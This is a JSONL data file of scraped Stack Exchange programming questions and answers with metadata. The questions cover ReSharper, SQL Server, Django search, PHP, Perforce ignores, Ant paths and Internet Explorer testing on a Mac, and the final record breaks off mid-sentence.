{"id": "hf_54d3e455a791", "question": "<p>Rehsarper 4.0 - Renaming a class does not rename the file…<br>\nI probably set something on accident in the options, but I can't find it. Any ideas?</p>\n", "question_body": "", "answer": "When I do a rename in Resharper there's a checkbox below the textbox where you type the new name that says \"Synchronise file name with class name\". Check that and the file is renamed too.\nBe sure you're using Resharper's rename (right-click/Refactor/Rename) rather than Visual Studio's (right-click/Rename), as the latter definitely doesn't rename the file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.099481"}
{"id": "hf_47697e51684a", "question": "<p>What’s the best way to capitalize the first letter of each word in a string in SQL Server.</p>\n", "question_body": "", "answer": "From\nhttp://www.sql-server-helper.com/functions/initcap.aspx\n```\n```\nCREATE FUNCTION [dbo].[InitCap] ( @InputString varchar(4000) ) \nRETURNS VARCHAR(4000)\nAS\nBEGIN\n\nDECLARE @Index          INT\nDECLARE @Char           CHAR(1)\nDECLARE @PrevChar       CHAR(1)\nDECLARE @OutputString   VARCHAR(255)\n\nSET @OutputString = LOWER(@InputString)\nSET @Index = 1\n\nWHILE @Index <= LEN(@InputString)\nBEGIN\n    SET @Char     = SUBSTRING(@InputString, @Index, 1)\n    SET @PrevChar = CASE WHEN @Index = 1 THEN ' '\n                         ELSE SUBSTRING(@InputString, @Index - 1, 1)\n                    END\n\n    IF @PrevChar IN (' ', ';', ':', '!', '?', ',', '.', '_', '-', '/', '&', '''', '(')\n    BEGIN\n        IF @PrevChar != '''' OR UPPER(@Char) != 'S'\n            SET @OutputString = STUFF(@OutputString, @Index, 1, UPPER(@Char))\n    END\n\n    SET @Index = @Index + 1\nEND\n\nRETURN @OutputString\n\nEND\nGO\n```\n```\nThere is a simpler/smaller one here (but doesn't work if any row doesn't have spaces, \"Invalid length parameter passed to the RIGHT function.\"):\nhttp://www.devx.com/tips/Tip/17608", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.134906"}
{"id": "hf_c56431b0cb8e", "question": "<p>I'm building a Django project that needs search functionality, and until there's a <code>django.contrib.search</code>, I have to choose a search app. So, which is the best? By \"best\" I mean...</p>\n\n<ul>\n<li>easy to install / set up</li>\n<li>has a Django- or at least Python-friendly API</li>\n<li>can perform reasonably complex searches</li>\n</ul>\n\n<p>Here are some apps I've heard of, please suggest others if you know of any:</p>\n\n<ul>\n<li><a href=\"http://code.google.com/p/djangosearch/\" rel=\"noreferrer\">djangosearch</a></li>\n<li><a href=\"http://code.google.com/p/django-sphinx/\" rel=\"noreferrer\">django-sphinx</a></li>\n</ul>\n\n<p>I'd also like to avoid using a third-party search engine (like Google SiteSearch), because some of the data I'd like to index is for site members only and should not be public.</p>\n", "question_body": "", "answer": "Justin, I'd try\ndjangosearch\nfirst: Jacob Kaplan-Moss (Django's lead developer) is working on it.\nPotential hazards:\nThe home page warns the API might not be entirely stable\nPotential benefits:\n“The long term goal is for this to become\n```\ndjango.contrib.search\n```\n.”", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.158234"}
{"id": "hf_a5a7b2aef62f", "question": "<p>I'm pretty sure the answer to this question is no, but in case there's some PHP guru</p>\n\n<p>is it possible to write a function in a way where invalid arguments or non existent variables can be passed in and php will not error without the use of <code>'@'</code></p>\n\n<p>Much like empty and isset do. You can pass in a variable you just made up and it won't error.</p>\n\n<pre><code>ex:\n\nempty($someBogusVar); // no error\n\nmyHappyFunction($someBogusVar); // Php warning / notice\n</code></pre>\n", "question_body": "", "answer": "No, because this isn't really anything to do with the function; the error is coming from attempting to de-reference a non-existent array key. You can change the warning level of your PHP setup to surpress these errors, but you're better off just not doing this.\nHaving said that, you\ncould\ndo something like\n```\n```\nfunction safeLookup($array, $key)\n{\n  if (isset($array, $key))\n    return $array[$key];\n\n  return 0;\n}\n```\n```\nAnd use it in place of array key lookup\n```\n```\ndefaultValue(safeLookup($foo, \"bar\"), \"baz);\n```\n```\nNow I need to take a shower :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.181743"}
{"id": "hf_b8b676839efa", "question": "<p>Does anyone have any experience with a good wpf pivot table control?</p>\n", "question_body": "", "answer": "DevExpress Grid control\nhas good pivot functionality. Used it for Winforms a lot. I think the WPF version is also available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.238878"}
{"id": "hf_8b73735f3a24", "question": "<p>I have a Linq query that I want to call from multiple places:</p>\n\n<pre><code>var myData = from a in db.MyTable\n             where a.MyValue == \"A\"\n             select new  {\n                            a.Key,\n                            a.MyValue\n                          };\n</code></pre>\n\n<p>How can I create a method, put this code in it, and then call it?</p>\n\n<pre><code>public  ???  GetSomeData()\n{\n   // my Linq query\n}\n</code></pre>\n", "question_body": "", "answer": "```\nIQueryable\n```\nSo your method declaration would look like\n```\n```\npublic IQueryable GetSomeData()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.273390"}
{"id": "hf_a4c33c1df45b", "question": "<p>Dictionaries unlike lists are not ordered (and do not have the 'sort' attribute). Therefore, you can not rely on getting the items in the same order when first added. </p>\n\n<p>What is the easiest way to loop through a dictionary containing strings as the key value and retrieving them in ascending order by key?</p>\n\n<p>For example, you had this:</p>\n\n<pre><code>d = {'b' : 'this is b', 'a': 'this is a' , 'c' : 'this is c'}\n</code></pre>\n\n<p>I want to print the associated values in the following sequence sorted by key:</p>\n\n<pre><code>this is a\nthis is b\nthis is c\n</code></pre>\n", "question_body": "", "answer": "This snippet will do it. If you're going to do it frequently, you might want to make a 'sortkeys' method to make it easier on the eyes.\n```\n```\nkeys = list(d.keys())\nkeys.sort()\nfor key in keys:\n    print d[key]\n```\n```\nEdit:\ndF's solution\nis better -- I forgot all about\n```\nsorted()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.379236"}
{"id": "hf_10b84016a612", "question": "<p>What is the operator precedence order in Visual Basic 6.0 (VB6)?</p>\n\n<p>In particular, for the logical operators.</p>\n", "question_body": "", "answer": "Arithmetic Operation Precedence Order\n```\n^\n```\n```\n-\n```\n(unary negation)\n```\n*\n```\n,\n```\n/\n```\n```\n\\\n```\n```\nMod\n```\n```\n+\n```\n,\n```\n-\n```\n(binary addition/subtraction)\n```\n&\n```\nComparison Operation Precedence Order\n```\n=\n```\n```\n<>\n```\n```\n<\n```\n```\n>\n```\n```\n<=\n```\n```\n>=\n```\n```\nLike\n```\n,\n```\nIs\n```\nLogical Operation Precedence Order\n```\nNot\n```\n```\nAnd\n```\n```\nOr\n```\n```\nXor\n```\n```\nEqv\n```\n```\nImp\n```\nSource:\nSams Teach Yourself Visual Basic 6 in 24 Hours — Appendix A: Operator Precedence", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.414282"}
{"id": "hf_026757631085", "question": "<p>What would be the best strategy to generate anagrams.</p>\n\n<blockquote>\n<pre><code>An anagram is a type of word play, the result of rearranging the letters\nof a word or phrase to produce a new  word or phrase, using all the original\nletters exactly once; \nex.\n</code></pre>\n  \n  <ul>\n  <li><strong>Eleven plus two</strong> is anagram of <strong><em>Twelve plus one</em></strong> </li>\n  <li><strong>A decimal point</strong> is anagram of <strong><em>I'm a dot in place</em></strong></li>\n  <li><strong>Astronomers</strong> is anagram of <strong><em>Moon starers</em></strong></li>\n  </ul>\n</blockquote>\n\n<p>At first it looks straightforwardly simple, just to jumble the letters and generate all possible combinations. But what would be the efficient approach to generate only the words in dictionary.</p>\n\n<p>I came across this page, <a href=\"http://lojic.com/blog/2007/10/22/solving-anagrams-in-ruby/\" rel=\"noreferrer\">Solving anagrams in Ruby</a>. </p>\n\n<p>But what are your ideas?</p>\n", "question_body": "", "answer": "Off the top of my head, the solution that makes the most sense would be to pick a letter out of the input string randomly and filter the dictionary based on words that start with that.  Then pick another, filter on the second letter, etc.  In addition, filter out words that can't be made with the remaining text.  Then when you hit the end of a word, insert a space and start it over with the remaining letters.  You might also restrict words based on word type (e.g. you wouldn't have two verbs next to each other, you wouldn't have two articles next to each other, etc).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.438941"}
{"id": "hf_3d27fc7d9dd0", "question": "<p>What is the best way of implementing a cache for a PHP site? Obviously, there are some things that shouldn't be cached (for example search queries), but I want to find a good solution that will make sure that I avoid the 'digg effect'.</p>\n\n<p>I know there is WP-Cache for WordPress, but I'm writing a custom solution that isn't built on WP. I'm interested in either writing my own cache (if it's simple enough), or you could point me to a nice, light framework. I don't know much Apache though, so if it was a PHP framework then it would be a better fit.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "The best way to go is to use a proxy cache (Squid, Varnish) and serve appropriate Cache-Control/Expires headers, along with ETags : see\nMark Nottingham's Caching Tutorial\nfor a full description of how caches work and how you can get the most performance out of a caching proxy.\nAlso check out\nmemcached\n, and try to cache your database queries (or better yet, pre-rendered page fragments) in there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.473414"}
{"id": "hf_ce2f7de593a9", "question": "<p>I have seen the references to VistaDB over the years and with tools like SQLite, Firebird, MS SQL et. al. I have never had a reason to consider it.</p>\n\n<p>What are the benefits of paying for VistaDB vs using another technology?  Things I have thought of:<br>\n1. Compact Framework Support.  SQLite+MSSQL support the CF.<br>\n2. Need migration path to a 'more robust' system.  Firebird+MSSQL.<br>\n3. Need more advanced features such as triggers. Firebird+MSSQL  </p>\n", "question_body": "", "answer": "Well, the main thing is that it is pure managed code - for what that is worth; it works not only on your typical Windows machines running .NET, but works wherever you run the Compact Framework and even works on\nMono\n. Here are some noteworthy bullet points from their homepage:\nSmall < 1 MB footprint truly embedded ZeroClick\nMicrosoft SQL Server 2005 compatible data types and T-SQL syntax\nNone of the SQL CE limits\nSingle user, multi user local or using shared network.\nPartially trusted shared hosting is no problem.\nRoyalty-free distribution - single CPU deployment of SQL Server costs more than a site license of VistaDB!\nOne thing worth noting is that Rob Howard's company,\ntelligent\n, uses it as the default database for their new CMS software, \"\nGraffiti\n.\"\nI have played with it here and there but have yet to build anything against it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.520288"}
{"id": "hf_a962f3da3f58", "question": "<p>When objects from a CallList intersect the near plane I get a flicker..., what can I do?</p>\n\n<p>Im using OpenGL and SDL.</p>\n\n<p>Yes it is double buffered.</p>\n", "question_body": "", "answer": "Try to put the near clipping plane a little bit further :\nfor example with gluPerspective -> third parameter\nzNear\nhttp://www.opengl.org/documentation/specs/man_pages/hardcopy/GL/html/glu/perspective.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.578007"}
{"id": "hf_3b4beb8132f6", "question": "<p>I use Emacs primarily for coding Python but sometimes I use IDLE. Is there a way to change the key bindings easily in IDLE to match Emacs?</p>\n", "question_body": "", "answer": "There's a program for Windows called\n```\nXKeymacs\n```\nthat allows you to specify emacs keybindings for different programs.  It should work with IDLE.\nhttp://www.cam.hi-ho.ne.jp/oishi/indexen.html\n-Mark", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.670967"}
{"id": "hf_924e230735b9", "question": "<p>I'm using Windows and I'm trying to get ANT to work.</p>\n\n<p>When I do an ant build from the command line, I get:\n<code>C:\\dev\\Projects\\springapp\\${%ANT_HOME%}\\lib not found.</code></p>\n\n<p>I look into the <code>build.xml</code> file and I find:\n<code>appserver.home=${user.home}/apache-tomcat-6.0.14</code> (which I just copied and pasted straight from a tutorial)</p>\n\n<p>I changed it to:</p>\n\n<p><code>appserver.home=\"C:\\Program Files\\Apache Software Foundation\\Tomcat 6.0\"</code></p>\n\n<p>but now I get:</p>\n\n<p><code>C:\\dev\\Projects\\springapp\\\"C:Program FilesApache Software FoundationTomcat 6.0\"\\lib not found.</code></p>\n\n<p>It seems like the white space in Program Files and Tomcat 6.0 are causing the build to fail.  How do you deal with these in xml files without re-creating the directory with a path with no white space?</p>\n", "question_body": "", "answer": "Change it to\n```\n```\nappserver.home=\"C:\\\\Program Files\\\\Apache Software Foundation\\\\Tomcat 6.0\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.721647"}
{"id": "hf_5f286816f854", "question": "<p>I want to grab the value of a hidden input field in HTML.</p>\n\n<pre><code>&lt;input type=\"hidden\" name=\"fooId\" value=\"12-3456789-1111111111\" /&gt;\n</code></pre>\n\n<p>I want to write a regular expression in Python that will return the value of <code>fooId</code>, given that I know the line in the HTML follows the format</p>\n\n<pre><code>&lt;input type=\"hidden\" name=\"fooId\" value=\"**[id is here]**\" /&gt;\n</code></pre>\n\n<p>Can someone provide an example in Python to parse the HTML for the value?</p>\n", "question_body": "", "answer": "```\n```\n/<input type=\"hidden\" name=\"fooId\" value=\"([\\d-]+)\" \\/>/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.744537"}
{"id": "hf_55240833703f", "question": "<p>This question is the other side of the question asking, \"<a href=\"https://stackoverflow.com/questions/11/how-do-i-calculate-relative-time\">How do I calculate relative time?</a>\".</p>\n\n<p>Given some human input for a relative time, how can you parse it?  By default you would offset from <code>DateTime.Now()</code>, but could optionally offset from another <code>DateTime</code>.</p>\n\n<p>(Prefer answers in C#)</p>\n\n<p>Example input:</p>\n\n<ul>\n<li>\"in 20 minutes\"</li>\n<li>\"5 hours ago\"</li>\n<li>\"3h 2m\"</li>\n<li>\"next week\"</li>\n</ul>\n\n<p><strong>Edit:</strong>  Let's suppose we can define some limits on the input.  This sort of code would be a useful thing to have out on the web.</p>\n", "question_body": "", "answer": "That's building a DSL (Domain specific language) for date handling. I don't know if somebody has done one for .NET but the construction of a DSL is fairly straightforward:\nDefine the language precisely, which input forms you will accept and what will you do with ambiguities\nConstruct the grammar for the language\nBuild the finite state machine that parses your language into an actionable AST\nYou can do all that by yourself (with the help of\nthe Dragon Book\n, for instance) or with the help of tools to the effect, as shown in this\nlink\n.\nJust by thinking hard about the possibilities you have a good chance, with the help of good UI examples, of covering more than half of the actual inputs your application will receive. If you aim to accept everything a human could possibly type, you can record the input determined as ambiguous and then add them to the grammar, whenever they can be interpreted, as there are things that will be inherently ambiguous.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.813545"}
{"id": "hf_f0a094aac809", "question": "<p>I've a class which is a wrapper class(serves as a common interface) around another class implementing the functionality required. So my code looks like this.</p>\n\n<pre><code>template&lt;typename ImplemenationClass&gt; class WrapperClass {\n// the code goes here\n}\n</code></pre>\n\n<p>Now, how do I make sure that <code>ImplementationClass</code> can be derived from a set of classes only, similar to java's generics</p>\n\n<pre><code>&lt;? extends BaseClass&gt;\n</code></pre>\n\n<p>syntax?</p>\n", "question_body": "", "answer": "In the current state of things, there is no good way other than by comments or a third-party solution. Boost provides a\nconcept check library\nfor this, and I think gcc also has an implementation. Concepts are on the list of C++0x improvements, but I'm not sure if you can specify subtypes - they are more for \"must support these operations\" which is (roughly) equivalent.\nEdit:\nWikipedia has this\nsection\nabout concepts in C++0x, which is significantly easier to read than draft proposals.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.848507"}
{"id": "hf_068a755b8430", "question": "<p>I've been thinking about the number of projects we have in-house that are still being developed using visual studio 6 and how best to migrate them forward onto visual studio 2008. The projects range in flavours of C/C++ and VB.</p>\n\n<p>Is it better to let VS2008 convert the work-spaces into solutions, fix any compile errors and be on your merry way? Or, is it better to start with a clean solution and migrate code across project by project discarding dead code along the way?</p>\n", "question_body": "", "answer": "The Microsoft p&p team has recommended some\nstrategies\nthat answers this. Basically they recommend something like the project by project approach you mention. Of course, they're assuming a neatly architected application that has no nasty, dark corners from which late nights of coding and copious amounts of coffee spring from.\nIt doesn't hurt to let VS2008 convert the project for you and see how much effort is required to fix the errors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.871755"}
{"id": "hf_47079011d36b", "question": "<p>I sometimes use the feature 'Reconcile Offline Work...' found in Perforce's P4V IDE to sync up any files that I have been working on while disconnected from the P4 depot. It launches another window that performs a 'Folder Diff'.</p>\n\n<p>I have files I never want to check in to source control (like ones found in bin folder such as DLLs, code generated output, etc.) Is there a way to filter those files/folders out from appearing as \"new\" that might be added. They tend to clutter up the list of files that I am actually interested in.  Does P4 have the equivalent of Subversion's 'ignore file' feature? </p>\n", "question_body": "", "answer": "As of version 2012.1, Perforce supports the\n```\nP4IGNORE\n```\nenvironment variable. I updated my answer to\nthis question about ignoring directories\nwith an explanation of how it works. Then I noticed this answer, which is now superfluous I guess.\nAssuming you have a client named \"CLIENT\", a directory named \"foo\" (located at your project root), and you wish to ignore all .dll files in that directory tree, you can add the following lines to your workspace view to accomplish this:\n```\n-//depot/foo/*.dll //CLIENT/foo/*.dll\n-//depot/foo/.../*.dll //CLIENT/foo/.../*.dll\n```\nThe first line removes them from the directory \"foo\" and the second line removes them from all sub directories.  Now, when you 'Reconcile Offline Work...', all the .dll files will be moved into \"Excluded Files\" folders at the bottom of the folder diff display. They will be out of your way, but can still view and manipulate them if you really need to.\nYou can also do it another way, which will reduce your \"Excluded Files\" folder to just one, but you won't be able to manipulate any of the files it contains because the path will be corrupt (but if you just want them out of your way, it doesn't matter).\n```\n-//depot/foo.../*.dll //CLIENT/foo.../*.dll\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.895091"}
{"id": "hf_cad8fad8ddbd", "question": "<p>I'm working with a snippet of code that recursively calls itself and tries to pull out a MIME Type part of <code>text/html</code> from an email (if it exists) for further processing.</p>\n\n<p>The \"text/html\" could exist inside other content such as <code>multipart/alternative</code>, so I'm trying to find out if there is a defined hierarchy for email MIME Types.</p>\n\n<p>Anybody know if there is and what it is? i.e. what types can parent other types?</p>\n", "question_body": "", "answer": "Your question assumes that mail clients follow the RFC standards for MIME encoding, which they don't. I'd advise you collect a bunch of mail from sources and try and process it as-it-exists. The problem you are facing is extremely difficult (perhaps impossible) to solve 100%.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:00.930452"}
{"id": "hf_fad02a156bd8", "question": "<p>As part of my integration strategy, I have a few SQL scripts that run in order to update the database. The first thing all of these scripts do is check to see if they need to run, e.g.:</p>\n\n<pre><code>if @version &lt;&gt; @expects\n    begin\n        declare @error varchar(100);\n        set @error = 'Invalid version. Your version is ' + convert(varchar, @version) + '. This script expects version ' + convert(varchar, @expects) + '.';\n        raiserror(@error, 10, 1);\n    end\nelse\n    begin\n        ...sql statements here...\n    end\n</code></pre>\n\n<p>Works great! Except if I need to add a stored procedure. The \"create proc\" command must be the only command in a batch of sql commands. Putting a \"create proc\" in my IF statement causes this error:</p>\n\n<pre>\n'CREATE/ALTER PROCEDURE' must be the first statement in a query batch.\n</pre>\n\n<p>Ouch! How do I put the CREATE PROC command in my script, and have it only execute if it needs to?</p>\n", "question_body": "", "answer": "Here's what I came up with:\nWrap it in an EXEC(), like so:\n```\n```\nif @version <> @expects\n    begin\n        ...snip...\n    end\nelse\n    begin\n        exec('CREATE PROC MyProc AS SELECT ''Victory!''');\n    end\n```\n```\nWorks like a charm!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.000887"}
{"id": "hf_430f3e448654", "question": "<p>I'm quite confident that globally declared variables get allocated (and initialized, if applicable) at program start time.</p>\n\n<pre><code>int globalgarbage;\nunsigned int anumber = 42;\n</code></pre>\n\n<p>But what about static ones defined within a function?</p>\n\n<pre><code>void doSomething()\n{\n  static bool globalish = true;\n  // ...\n}\n</code></pre>\n\n<p>When is the space for <code>globalish</code> allocated? I'm guessing when the program starts. But does it get initialized then too? Or is it initialized when <code>doSomething()</code> is first called?</p>\n", "question_body": "", "answer": "Static variables are allocated inside a code segment -- they are part of the executable image, and so are mapped in already initialized.\nStatic variables within function scope are treated the same, the scoping is purely a language level construct.\nFor this reason you are guaranteed that a static variable will be initialized to 0 (unless you specify something else) rather than an undefined value.\nThere are some other facets to initialization you can take advantage off -- for example shared segments allow different instances of your executable running at once to access the same static variables.\nIn C++ (globally scoped) static objects have their constructors called as part of the program start up, under the control of the C runtime library.  Under Visual C++ at least the order that objects are initialized in can be controlled by the\ninit_seg\npragma.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.024531"}
{"id": "hf_4c42a4b4debb", "question": "<h3>Background:</h3>\n<p>Some time ago, I built a system for recording and categorizing application crashes for one of our internal programs. At the time, I used a combination of frequency and aggregated lost time (the time between the program launch and the crash) for prioritizing types of crashes. It worked reasonably well.</p>\n<p>Now, The Powers That Be want solid numbers on the <em>cost</em> of each type of crash being worked on. Or at least, numbers that <em>look</em> solid. I suppose I could use the aggregate lost time, multiplied by some plausible figure, but it seems dodgy.</p>\n<h3>Question:</h3>\n<p>Are there any established methods of calculating the real-world cost of application crashes? Or failing that, published studies speculating on such costs?</p>\n<hr />\n<h3>Consensus</h3>\n<p>Accuracy is impossible, but an estimate based on uptime should suffice if it is applied consistently and its limitations clearly documented. Thanks, Matt, Orion, for taking time to answer this.</p>\n", "question_body": "", "answer": "I've not seen any studies, but a reasonable heuristic would be something like :\n( Time since last application save when crash occurred + Time to restart application ) * Average hourly rate of application operator.\nThe estimation gets more complex if the crashes have some impact on external customers such, or might delay other things (i.e. create a bottle neck such that another person winds up sitting around waiting because some else's application crashed).\nThat said, your 'powers that be' may well be happy with a very rough estimate so long as it's applied consistently and they can see how it is changing over time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.063379"}
{"id": "hf_34e45c5238fd", "question": "<p>I need to generate some passwords, I want to avoid characters that can be confused for each other. Is there a definitive list of characters I should avoid? my current list is</p>\n\n<p>il10o8B3Evu![]{}</p>\n\n<p>Are there any other pairs of characters that are easy to confuse? for special characters I was going to limit myself to those under the number keys, though I know that this differs depending on your keyboards nationality!</p>\n\n<p>As a rider question, I would like my passwords to be 'wordlike'do you have a favoured algorithm for that?</p>\n\n<p>Thanks :)</p>\n", "question_body": "", "answer": "My preferred method is to get a word list of 3, 4 and 5 letter words.  Then select at least 2 of those, and place a random 2 digit number or special symbol (%&*@#$) between each word.  If you want to you can capitalize up to one character per word at random.\nDepending on your strength requirements you end up with easy-to-remember and communicate passwords like:\nlemon%desk\npaper&boy32hat\nKeep in mind you occasionally get interesting or inappropriate combinations of words (I'll let you use your imagination).  I usually have a button allowing the generation of a new password if the one presented is disliked.\nAs a rule, only use symbols that people commonly know the name for.  On a US Standard keyboard I would avoid ~`'/\\^\nI guess this more answered your rider question than your main question . ..\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.098840"}
{"id": "hf_195f70fc77ee", "question": "<p>I've only recently started working with asp.net and c#. Is there a standard practice set of web.config settings for a live final website? There seem to be a ton of options available and I'm looking to streamline performance, close possible security holes and other unnecessary options. </p>\n", "question_body": "", "answer": "An empty web.config (or at least an absent\n```\n<\n```\nsystem.web>\nelement) would mean that all of the framework's recommended defaults would take effect. You would then just need to be concerned with the host (e.g., IIS) set-up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.122798"}
{"id": "hf_90c71a849d4a", "question": "<p>As it stands now, I'm a Java and C# developer. The more and more I look at Ruby on Rails, the more I really want to learn it.  </p>\n\n<p>What have you found to be the best route to learn RoR?  Would it be easier to develop on Windows, or should I just run a virtual machine with Linux?  </p>\n\n<p>Is there an IDE that can match the robustness of Visual Studio?  Any programs to develop that give a good overhead of what to do? Any good books?  </p>\n\n<p>Seriously, any tips/tricks/rants would be awesome.</p>\n", "question_body": "", "answer": "```\nIDE: NetBeans\nBook:\nAgile Web Development With Rails\nInstallation:\nInstant Rails\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.157863"}
{"id": "hf_af1995556432", "question": "<p>I want to test the web pages I create in all the modern versions of Internet Explorer (6, 7 and 8 beta) but I work mainly on a Mac and often don't have direct access to a PC.</p>\n", "question_body": "", "answer": "Update:\nMicrosoft now provide virtual machine images for various versions of IE that are ready to use on all of the major OS X virtualisation platforms (\nVirtualBox\n,\nVMWare Fusion\n, and\nParallels\n).\nDownload the appropriate image from:\nhttps://developer.microsoft.com/en-us/microsoft-edge/tools/vms/\nOn an Intel based Mac you can run Windows within a virtual machine. You will need one virtual machine for each version of IE you want to test against.\nThe instructions below include free and legal virtualisation software and Windows disk images.\nDownload some virtual machine software. The developer disk images we're going to use are will work with either\nVMWare Fusion\nor\nSun Virtual Box\n. VMWare has more features but costs $80, Virtual Box on the other hand is more basic but is free for most users (see\nVirtual Box licensing FAQ\nfor details).\nDownload the IE developer disk images, which are free from Microsoft:\nhttp://www.microsoft.com/downloads/...\nExtract the disk images using\ncabextract\nwhich is available from\nMacPorts\nor as source code (Thanks to\nClinton\n).\nDownload Q.app from\nhttp://www.kju-app.org/\nand put it in your /Applications folder (you will need it to convert the disk images into a format VMWare/Virtual Box can use)\nAt this point, the process depends on which VM software you're using.\nVirtual Box users\nOpen a Terminal.app on your Mac (you can find it in /Applications/Utilities) and run the following sequence of commands, replacing\ninput.vhd\nwith the name of the VHD file you're starting from and\noutput.vdi\nwith the name you want your final disk image to 